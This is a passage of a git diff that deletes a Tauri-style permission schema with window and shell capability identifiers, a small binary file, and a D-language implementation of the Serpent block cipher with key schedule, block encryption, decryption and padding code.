"core:window:deny-set-ignore-cursor-events" - }, - { - "description": "Denies the set_max_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-max-size" - }, - { - "description": "Denies the set_maximizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-maximizable" - }, - { - "description": "Denies the set_min_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-min-size" - }, - { - "description": "Denies the set_minimizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-minimizable" - }, - { - "description": "Denies the set_position command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-position" - }, - { - "description": "Denies the set_progress_bar command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-progress-bar" - }, - { - "description": "Denies the set_resizable command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-resizable" - }, - { - "description": "Denies the set_shadow command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-shadow" - }, - { - "description": "Denies the set_size command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-size" - }, - { - "description": "Denies the set_size_constraints command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-size-constraints" - }, - { - "description": "Denies the set_skip_taskbar command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-skip-taskbar" - }, - { - "description": "Denies the set_theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-theme" - }, - { - "description": "Denies the set_title command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-title" - }, - { - "description": "Denies the set_title_bar_style command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-title-bar-style" - }, - { - "description": "Denies the set_visible_on_all_workspaces command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-set-visible-on-all-workspaces" - }, - { - "description": "Denies the show command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-show" - }, - { - "description": "Denies the start_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-start-dragging" - }, - { - "description": "Denies the start_resize_dragging command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-start-resize-dragging" - }, - { - "description": "Denies the theme command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-theme" - }, - { - "description": "Denies the title command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-title" - }, - { - "description": "Denies the toggle_maximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-toggle-maximize" - }, - { - "description": "Denies the unmaximize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-unmaximize" - }, - { - "description": "Denies the unminimize command without any pre-configured scope.", - "type": "string", - "const": "core:window:deny-unminimize" - }, - { - "description": "This permission set configures which\nshell functionality is exposed by default.\n\n#### Granted Permissions\n\nIt allows to use the `open` functionality without any specific\nscope pre-configured. It will allow opening `http(s)://`,\n`tel:` and `mailto:` links.\n", - "type": "string", - "const": "shell:default" - }, - { - "description": "Enables the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-execute" - }, - { - "description": "Enables the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-kill" - }, - { - "description": "Enables the open command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-open" - }, - { - "description": "Enables the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-spawn" - }, - { - "description": "Enables the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:allow-stdin-write" - }, - { - "description": "Denies the execute command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-execute" - }, - { - "description": "Denies the kill command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-kill" - }, - { - "description": "Denies the open command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-open" - }, - { - "description": "Denies the spawn command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-spawn" - }, - { - "description": "Denies the stdin_write command without any pre-configured scope.", - "type": "string", - "const": "shell:deny-stdin-write" - } - ] - }, - "Value": { - "description": "All supported ACL values.", - "anyOf": [ - { - "description": "Represents a null JSON value.", - "type": "null" - }, - { - "description": "Represents a [`bool`].", - "type": "boolean" - }, - { - "description": "Represents a valid ACL [`Number`].", - "allOf": [ - { - "$ref": "#/definitions/Number" - } - ] - }, - { - "description": "Represents a [`String`].", - "type": "string" - }, - { - "description": "Represents a list of other [`Value`]s.", - "type": "array", - "items": { - "$ref": "#/definitions/Value" - } - }, - { - "description": "Represents a map of [`String`] keys to [`Value`]s.", - "type": "object", - "additionalProperties": { - "$ref": "#/definitions/Value" - } - } - ] - }, - "Number": { - "description": "A valid ACL number.", - "anyOf": [ - { - "description": "Represents an [`i64`].", - "type": "integer", - "format": "int64" - }, - { - "description": "Represents a [`f64`].", - "type": "number", - "format": "double" - } - ] - }, - "Target": { - "description": "Platform target.", - "oneOf": [ - { - "description": "MacOS.", - "type": "string", - "enum": [ - "macOS" - ] - }, - { - "description": "Windows.", - "type": "string", - "enum": [ - "windows" - ] - }, - { - "description": "Linux.", - "type": "string", - "enum": [ - "linux" - ] - }, - { - "description": "Android.", - "type": "string", - "enum": [ - "android" - ] - }, - { - "description": "iOS.", - "type": "string", - "enum": [ - "iOS" - ] - } - ] - }, - "ShellScopeEntryAllowedArg": { - "description": "A command argument allowed to be executed by the webview API.", - "anyOf": [ - { - "description": "A non-configurable argument that is passed to the command in the order it was specified.", - "type": "string" - }, - { - "description": "A variable that is set while calling the command from the webview API.", - "type": "object", - "required": [ - "validator" - ], - "properties": { - "raw": { - "description": "Marks the validator as a raw regex, meaning the plugin should not make any modification at runtime.\n\nThis means the regex will not match on the entire string by default, which might be exploited if your regex allow unexpected input to be considered valid. When using this option, make sure your regex is correct.", - "default": false, - "type": "boolean" - }, - "validator": { - "description": "[regex] validator to require passed values to conform to an expected input.\n\nThis will require the argument value passed to this variable to match the `validator` regex before it will be executed.\n\nThe regex string is by default surrounded by `^...$` to match the full string. For example the `https?://\\w+` regex would be registered as `^https?://\\w+$`.\n\n[regex]: ", - "type": "string" - } - }, - "additionalProperties": false - } - ] - }, - "ShellScopeEntryAllowedArgs": { - "description": "A set of command arguments allowed to be executed by the webview API.\n\nA value of `true` will allow any arguments to be passed to the command. `false` will disable all arguments. A list of [`ShellScopeEntryAllowedArg`] will set those arguments as the only valid arguments to be passed to the attached command configuration.", - "anyOf": [ - { - "description": "Use a simple boolean to allow all or disable all arguments to this command configuration.", - "type": "boolean" - }, - { - "description": "A specific set of [`ShellScopeEntryAllowedArg`] that are valid to call for the command configuration.", - "type": "array", - "items": { - "$ref": "#/definitions/ShellScopeEntryAllowedArg" - } - } - ] - } - } -} \ No newline at end of file diff --git a/windows_core.d b/windows_core.d deleted file mode 100644 index 8bd3cfb96947a08ee43646068b9143b25de674e85d7aa4785fccc12171994ad3..0000000000000000000000000000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1024 ScmZQz7zLvtFd70QH3R?z00031

    - * For full details see the The Serpent home page - */ -@safe -public struct Serpent -{ - - public enum name = "Serpent"; - public enum blockSize = 16; - - private { - enum ROUNDS = 32; - enum uint PHI = 0x9E3779B9; // (sqrt(5) - 1) * 2**31 - - uint X0, X1, X2, X3; // registers - uint[(ROUNDS + 1) * 4] wKey; - - //bool encrypting; - bool initialized = false; - } - - /// Params: - /// forEncryption = `false`: decrypt, `true`: encrypt - /// userKey = Secret key. - /// iv = Not used. - - void start(in ubyte[] userKey, in ubyte[] iv = null) nothrow @nogc - { - makeWorkingKey(userKey); - initialized = true; - } - - - public uint encrypt(in ubyte[] input, ubyte[] output) nothrow @nogc - in { - assert(initialized, "Serpent engine not initialized"); - assert(blockSize<=input.length, "input buffer too short"); - assert(blockSize<=output.length, "output buffer too short"); - } - body { - encryptb(input, output); - - return blockSize; - } - - public uint decrypt(in ubyte[] input, ubyte[] output) nothrow @nogc - in { - assert(initialized, "Serpent engine not initialized"); - assert(blockSize<=input.length, "input buffer too short"); - assert(blockSize<=output.length, "output buffer too short"); - } - body { - decryptb(input, output); - - return blockSize; - } - - public void reset() pure nothrow @nogc - { - } - -private: - /** - * Expand a user-supplied key material into a session key. - * - * Params: - * key The user-key bytes (multiples of 4) to use. - */ - private void makeWorkingKey(in ubyte[] key) nothrow @nogc - in { - assert(key.length % 4 == 0, "key must be a multiple of 4 bytes"); - } - body { - // - // pad key to 256 bits - // - uint[16] kPad; - size_t off = 0; - uint length = 0; - - for (off = key.length - 4; off > 0; off -= 4) - { - kPad[length++] = fromBigEndian!uint(key[off..off+4]); - } - - if (off == 0) - { - kPad[length++] = fromBigEndian!uint(key[0..4]); - if (length < 8) - { - kPad[length] = 1; - } - } - else - { - assert(false, "key must be a multiple of 4 bytes"); - } - - // - // expand the padded key up to 33 x 128 bits of key material - // - enum amount = (ROUNDS + 1) * 4; - alias wKey w; - - // - // compute w0 to w7 from w-8 to w-1 - // - foreach (i;8..16) - { - kPad[i] = rotateLeft(kPad[i - 8] ^ kPad[i - 5] ^ kPad[i - 3] ^ kPad[i - 1] ^ PHI ^ (i - 8), 11); - } - - w[0..8] = kPad[8..16]; - - // - // compute w8 to w136 - // - foreach(i;8..amount) - { - w[i] = rotateLeft(w[i - 8] ^ w[i - 5] ^ w[i - 3] ^ w[i - 1] ^ PHI ^ i, 11); - } - - // - // create the working keys by processing w with the Sbox and IP - // - sb3(w[0], w[1], w[2], w[3]); - w[0] = X0; - w[1] = X1; - w[2] = X2; - w[3] = X3; - sb2(w[4], w[5], w[6], w[7]); - w[4] = X0; - w[5] = X1; - w[6] = X2; - w[7] = X3; - sb1(w[8], w[9], w[10], w[11]); - w[8] = X0; - w[9] = X1; - w[10] = X2; - w[11] = X3; - sb0(w[12], w[13], w[14], w[15]); - w[12] = X0; - w[13] = X1; - w[14] = X2; - w[15] = X3; - sb7(w[16], w[17], w[18], w[19]); - w[16] = X0; - w[17] = X1; - w[18] = X2; - w[19] = X3; - sb6(w[20], w[21], w[22], w[23]); - w[20] = X0; - w[21] = X1; - w[22] = X2; - w[23] = X3; - sb5(w[24], w[25], w[26], w[27]); - w[24] = X0; - w[25] = X1; - w[26] = X2; - w[27] = X3; - sb4(w[28], w[29], w[30], w[31]); - w[28] = X0; - w[29] = X1; - w[30] = X2; - w[31] = X3; - sb3(w[32], w[33], w[34], w[35]); - w[32] = X0; - w[33] = X1; - w[34] = X2; - w[35] = X3; - sb2(w[36], w[37], w[38], w[39]); - w[36] = X0; - w[37] = X1; - w[38] = X2; - w[39] = X3; - sb1(w[40], w[41], w[42], w[43]); - w[40] = X0; - w[41] = X1; - w[42] = X2; - w[43] = X3; - sb0(w[44], w[45], w[46], w[47]); - w[44] = X0; - w[45] = X1; - w[46] = X2; - w[47] = X3; - sb7(w[48], w[49], w[50], w[51]); - w[48] = X0; - w[49] = X1; - w[50] = X2; - w[51] = X3; - sb6(w[52], w[53], w[54], w[55]); - w[52] = X0; - w[53] = X1; - w[54] = X2; - w[55] = X3; - sb5(w[56], w[57], w[58], w[59]); - w[56] = X0; - w[57] = X1; - w[58] = X2; - w[59] = X3; - sb4(w[60], w[61], w[62], w[63]); - w[60] = X0; - w[61] = X1; - w[62] = X2; - w[63] = X3; - sb3(w[64], w[65], w[66], w[67]); - w[64] = X0; - w[65] = X1; - w[66] = X2; - w[67] = X3; - sb2(w[68], w[69], w[70], w[71]); - w[68] = X0; - w[69] = X1; - w[70] = X2; - w[71] = X3; - sb1(w[72], w[73], w[74], w[75]); - w[72] = X0; - w[73] = X1; - w[74] = X2; - w[75] = X3; - sb0(w[76], w[77], w[78], w[79]); - w[76] = X0; - w[77] = X1; - w[78] = X2; - w[79] = X3; - sb7(w[80], w[81], w[82], w[83]); - w[80] = X0; - w[81] = X1; - w[82] = X2; - w[83] = X3; - sb6(w[84], w[85], w[86], w[87]); - w[84] = X0; - w[85] = X1; - w[86] = X2; - w[87] = X3; - sb5(w[88], w[89], w[90], w[91]); - w[88] = X0; - w[89] = X1; - w[90] = X2; - w[91] = X3; - sb4(w[92], w[93], w[94], w[95]); - w[92] = X0; - w[93] = X1; - w[94] = X2; - w[95] = X3; - sb3(w[96], w[97], w[98], w[99]); - w[96] = X0; - w[97] = X1; - w[98] = X2; - w[99] = X3; - sb2(w[100], w[101], w[102], w[103]); - w[100] = X0; - w[101] = X1; - w[102] = X2; - w[103] = X3; - sb1(w[104], w[105], w[106], w[107]); - w[104] = X0; - w[105] = X1; - w[106] = X2; - w[107] = X3; - sb0(w[108], w[109], w[110], w[111]); - w[108] = X0; - w[109] = X1; - w[110] = X2; - w[111] = X3; - sb7(w[112], w[113], w[114], w[115]); - w[112] = X0; - w[113] = X1; - w[114] = X2; - w[115] = X3; - sb6(w[116], w[117], w[118], w[119]); - w[116] = X0; - w[117] = X1; - w[118] = X2; - w[119] = X3; - sb5(w[120], w[121], w[122], w[123]); - w[120] = X0; - w[121] = X1; - w[122] = X2; - w[123] = X3; - sb4(w[124], w[125], w[126], w[127]); - w[124] = X0; - w[125] = X1; - w[126] = X2; - w[127] = X3; - sb3(w[128], w[129], w[130], w[131]); - w[128] = X0; - w[129] = X1; - w[130] = X2; - w[131] = X3; - } - - /** - * Encrypt one block of plaintext. - * - */ - private void encryptBlock(in ubyte[] input, ubyte[] output) nothrow @nogc - { - X3 = fromBigEndian!uint(input[0..4]); - X2 = fromBigEndian!uint(input[4..8]); - X1 = fromBigEndian!uint(input[8..12]); - X0 = fromBigEndian!uint(input[12..16]); - - sb0(wKey[0] ^ X0, wKey[1] ^ X1, wKey[2] ^ X2, wKey[3] ^ X3); - LT(); - sb1(wKey[4] ^ X0, wKey[5] ^ X1, wKey[6] ^ X2, wKey[7] ^ X3); - LT(); - sb2(wKey[8] ^ X0, wKey[9] ^ X1, wKey[10] ^ X2, wKey[11] ^ X3); - LT(); - sb3(wKey[12] ^ X0, wKey[13] ^ X1, wKey[14] ^ X2, wKey[15] ^ X3); - LT(); - sb4(wKey[16] ^ X0, wKey[17] ^ X1, wKey[18] ^ X2, wKey[19] ^ X3); - LT(); - sb5(wKey[20] ^ X0, wKey[21] ^ X1, wKey[22] ^ X2, wKey[23] ^ X3); - LT(); - sb6(wKey[24] ^ X0, wKey[25] ^ X1, wKey[26] ^ X2, wKey[27] ^ X3); - LT(); - sb7(wKey[28] ^ X0, wKey[29] ^ X1, wKey[30] ^ X2, wKey[31] ^ X3); - LT(); - sb0(wKey[32] ^ X0, wKey[33] ^ X1, wKey[34] ^ X2, wKey[35] ^ X3); - LT(); - sb1(wKey[36] ^ X0, wKey[37] ^ X1, wKey[38] ^ X2, wKey[39] ^ X3); - LT(); - sb2(wKey[40] ^ X0, wKey[41] ^ X1, wKey[42] ^ X2, wKey[43] ^ X3); - LT(); - sb3(wKey[44] ^ X0, wKey[45] ^ X1, wKey[46] ^ X2, wKey[47] ^ X3); - LT(); - sb4(wKey[48] ^ X0, wKey[49] ^ X1, wKey[50] ^ X2, wKey[51] ^ X3); - LT(); - sb5(wKey[52] ^ X0, wKey[53] ^ X1, wKey[54] ^ X2, wKey[55] ^ X3); - LT(); - sb6(wKey[56] ^ X0, wKey[57] ^ X1, wKey[58] ^ X2, wKey[59] ^ X3); - LT(); - sb7(wKey[60] ^ X0, wKey[61] ^ X1, wKey[62] ^ X2, wKey[63] ^ X3); - LT(); - sb0(wKey[64] ^ X0, wKey[65] ^ X1, wKey[66] ^ X2, wKey[67] ^ X3); - LT(); - sb1(wKey[68] ^ X0, wKey[69] ^ X1, wKey[70] ^ X2, wKey[71] ^ X3); - LT(); - sb2(wKey[72] ^ X0, wKey[73] ^ X1, wKey[74] ^ X2, wKey[75] ^ X3); - LT(); - sb3(wKey[76] ^ X0, wKey[77] ^ X1, wKey[78] ^ X2, wKey[79] ^ X3); - LT(); - sb4(wKey[80] ^ X0, wKey[81] ^ X1, wKey[82] ^ X2, wKey[83] ^ X3); - LT(); - sb5(wKey[84] ^ X0, wKey[85] ^ X1, wKey[86] ^ X2, wKey[87] ^ X3); - LT(); - sb6(wKey[88] ^ X0, wKey[89] ^ X1, wKey[90] ^ X2, wKey[91] ^ X3); - LT(); - sb7(wKey[92] ^ X0, wKey[93] ^ X1, wKey[94] ^ X2, wKey[95] ^ X3); - LT(); - sb0(wKey[96] ^ X0, wKey[97] ^ X1, wKey[98] ^ X2, wKey[99] ^ X3); - LT(); - sb1(wKey[100] ^ X0, wKey[101] ^ X1, wKey[102] ^ X2, wKey[103] ^ X3); - LT(); - sb2(wKey[104] ^ X0, wKey[105] ^ X1, wKey[106] ^ X2, wKey[107] ^ X3); - LT(); - sb3(wKey[108] ^ X0, wKey[109] ^ X1, wKey[110] ^ X2, wKey[111] ^ X3); - LT(); - sb4(wKey[112] ^ X0, wKey[113] ^ X1, wKey[114] ^ X2, wKey[115] ^ X3); - LT(); - sb5(wKey[116] ^ X0, wKey[117] ^ X1, wKey[118] ^ X2, wKey[119] ^ X3); - LT(); - sb6(wKey[120] ^ X0, wKey[121] ^ X1, wKey[122] ^ X2, wKey[123] ^ X3); - LT(); - sb7(wKey[124] ^ X0, wKey[125] ^ X1, wKey[126] ^ X2, wKey[127] ^ X3); - - toBigEndian!uint(wKey[131] ^ X3, output[0..4]); - toBigEndian!uint(wKey[130] ^ X2, output[4..8]); - toBigEndian!uint(wKey[129] ^ X1, output[8..12]); - toBigEndian!uint(wKey[128] ^ X0, output[12..16]); - } - - /** - * Decrypt one block of ciphertext. - * - */ - private void decryptBlock(in ubyte[] input, ubyte[] output) nothrow @nogc - { - X3 = wKey[131] ^ fromBigEndian!uint(input[0..4]); - X2 = wKey[130] ^ fromBigEndian!uint(input[4..8]); - X1 = wKey[129] ^ fromBigEndian!uint(input[8..12]); - X0 = wKey[128] ^ fromBigEndian!uint(input[12..16]); - - ib7(X0, X1, X2, X3); - X0 ^= wKey[124]; - X1 ^= wKey[125]; - X2 ^= wKey[126]; - X3 ^= wKey[127]; - inverseLT(); - ib6(X0, X1, X2, X3); - X0 ^= wKey[120]; - X1 ^= wKey[121]; - X2 ^= wKey[122]; - X3 ^= wKey[123]; - inverseLT(); - ib5(X0, X1, X2, X3); - X0 ^= wKey[116]; - X1 ^= wKey[117]; - X2 ^= wKey[118]; - X3 ^= wKey[119]; - inverseLT(); - ib4(X0, X1, X2, X3); - X0 ^= wKey[112]; - X1 ^= wKey[113]; - X2 ^= wKey[114]; - X3 ^= wKey[115]; - inverseLT(); - ib3(X0, X1, X2, X3); - X0 ^= wKey[108]; - X1 ^= wKey[109]; - X2 ^= wKey[110]; - X3 ^= wKey[111]; - inverseLT(); - ib2(X0, X1, X2, X3); - X0 ^= wKey[104]; - X1 ^= wKey[105]; - X2 ^= wKey[106]; - X3 ^= wKey[107]; - inverseLT(); - ib1(X0, X1, X2, X3); - X0 ^= wKey[100]; - X1 ^= wKey[101]; - X2 ^= wKey[102]; - X3 ^= wKey[103]; - inverseLT(); - ib0(X0, X1, X2, X3); - X0 ^= wKey[96]; - X1 ^= wKey[97]; - X2 ^= wKey[98]; - X3 ^= wKey[99]; - inverseLT(); - ib7(X0, X1, X2, X3); - X0 ^= wKey[92]; - X1 ^= wKey[93]; - X2 ^= wKey[94]; - X3 ^= wKey[95]; - inverseLT(); - ib6(X0, X1, X2, X3); - X0 ^= wKey[88]; - X1 ^= wKey[89]; - X2 ^= wKey[90]; - X3 ^= wKey[91]; - inverseLT(); - ib5(X0, X1, X2, X3); - X0 ^= wKey[84]; - X1 ^= wKey[85]; - X2 ^= wKey[86]; - X3 ^= wKey[87]; - inverseLT(); - ib4(X0, X1, X2, X3); - X0 ^= wKey[80]; - X1 ^= wKey[81]; - X2 ^= wKey[82]; - X3 ^= wKey[83]; - inverseLT(); - ib3(X0, X1, X2, X3); - X0 ^= wKey[76]; - X1 ^= wKey[77]; - X2 ^= wKey[78]; - X3 ^= wKey[79]; - inverseLT(); - ib2(X0, X1, X2, X3); - X0 ^= wKey[72]; - X1 ^= wKey[73]; - X2 ^= wKey[74]; - X3 ^= wKey[75]; - inverseLT(); - ib1(X0, X1, X2, X3); - X0 ^= wKey[68]; - X1 ^= wKey[69]; - X2 ^= wKey[70]; - X3 ^= wKey[71]; - inverseLT(); - ib0(X0, X1, X2, X3); - X0 ^= wKey[64]; - X1 ^= wKey[65]; - X2 ^= wKey[66]; - X3 ^= wKey[67]; - inverseLT(); - ib7(X0, X1, X2, X3); - X0 ^= wKey[60]; - X1 ^= wKey[61]; - X2 ^= wKey[62]; - X3 ^= wKey[63]; - inverseLT(); - ib6(X0, X1, X2, X3); - X0 ^= wKey[56]; - X1 ^= wKey[57]; - X2 ^= wKey[58]; - X3 ^= wKey[59]; - inverseLT(); - ib5(X0, X1, X2, X3); - X0 ^= wKey[52]; - X1 ^= wKey[53]; - X2 ^= wKey[54]; - X3 ^= wKey[55]; - inverseLT(); - ib4(X0, X1, X2, X3); - X0 ^= wKey[48]; - X1 ^= wKey[49]; - X2 ^= wKey[50]; - X3 ^= wKey[51]; - inverseLT(); - ib3(X0, X1, X2, X3); - X0 ^= wKey[44]; - X1 ^= wKey[45]; - X2 ^= wKey[46]; - X3 ^= wKey[47]; - inverseLT(); - ib2(X0, X1, X2, X3); - X0 ^= wKey[40]; - X1 ^= wKey[41]; - X2 ^= wKey[42]; - X3 ^= wKey[43]; - inverseLT(); - ib1(X0, X1, X2, X3); - X0 ^= wKey[36]; - X1 ^= wKey[37]; - X2 ^= wKey[38]; - X3 ^= wKey[39]; - inverseLT(); - ib0(X0, X1, X2, X3); - X0 ^= wKey[32]; - X1 ^= wKey[33]; - X2 ^= wKey[34]; - X3 ^= wKey[35]; - inverseLT(); - ib7(X0, X1, X2, X3); - X0 ^= wKey[28]; - X1 ^= wKey[29]; - X2 ^= wKey[30]; - X3 ^= wKey[31]; - inverseLT(); - ib6(X0, X1, X2, X3); - X0 ^= wKey[24]; - X1 ^= wKey[25]; - X2 ^= wKey[26]; - X3 ^= wKey[27]; - inverseLT(); - ib5(X0, X1, X2, X3); - X0 ^= wKey[20]; - X1 ^= wKey[21]; - X2 ^= wKey[22]; - X3 ^= wKey[23]; - inverseLT(); - ib4(X0, X1, X2, X3); - X0 ^= wKey[16]; - X1 ^= wKey[17]; - X2 ^= wKey[18]; - X3 ^= wKey[19]; - inverseLT(); - ib3(X0, X1, X2, X3); - X0 ^= wKey[12]; - X1 ^= wKey[13]; - X2 ^= wKey[14]; - X3 ^= wKey[15]; - inverseLT(); - ib2(X0, X1, X2, X3); - X0 ^= wKey[8]; - X1 ^= wKey[9]; - X2 ^= wKey[10]; - X3 ^= wKey[11]; - inverseLT(); - ib1(X0, X1, X2, X3); - X0 ^= wKey[4]; - X1 ^= wKey[5]; - X2 ^= wKey[6]; - X3 ^= wKey[7]; - inverseLT(); - ib0(X0, X1, X2, X3); - - toBigEndian!uint(X3 ^ wKey[3], output[0..4]); - toBigEndian!uint(X2 ^ wKey[2], output[4..8]); - toBigEndian!uint(X1 ^ wKey[1], output[8..12]); - toBigEndian!uint(X0 ^ wKey[0], output[12..16]); - } - - private void encryptb(in ubyte[] input, ubyte[] output) nothrow @nogc { - ubyte padding = cast(ubyte)(blockSize - (input.length % blockSize)); - if (input.length % blockSize != 0) { - assert(output.length >= input.length + padding, "Output size must be pre-allocated to include padding"); - } else { - assert(output.length == input.length, "Output size must match input size for full blocks"); - } - - output[0 .. input.length] = input[]; - - if (input.length % blockSize != 0) { - for (size_t i = input.length; i < output.length; i++) { - output[i] = padding; - } - } - - ubyte[blockSize] blockOutput; - for (size_t i = 0; i < output.length; i += blockSize) { - auto blockInput = output[i .. i + blockSize]; - encryptBlock(blockInput, blockOutput); - output[i .. i + blockSize] = blockOutput[]; - } - } - - private void decryptb(in ubyte[] input, ubyte[] output) nothrow @nogc { - assert(input.length % blockSize == 0, "Invalid encrypted data length"); - - assert(output.length == input.length, "Output size must be pre-allocated"); - - ubyte[blockSize] blockOutput; - for (size_t i = 0; i < input.length; i += blockSize) { - auto blockInput = input[i .. i + blockSize]; - decryptBlock(blockInput, blockOutput); - output[i .. i + blockSize] = blockOutput[]; - } - - if (output.length > 0) { - ubyte padding = output[$ - 1]; - if (padding > 0 && padding <= blockSize) { - for (size_t i = output.length - padding; i < output.length; i++) { - assert(output[i] == padding, "Invalid padding bytes"); - } - - auto finalLength = output.length - padding; - output = output[0 .. finalLength]; - } - } - } - - /** - * The sboxes below are based on the work of Brian Gladman and - * Sam Simpson, whose original notice appears below. - *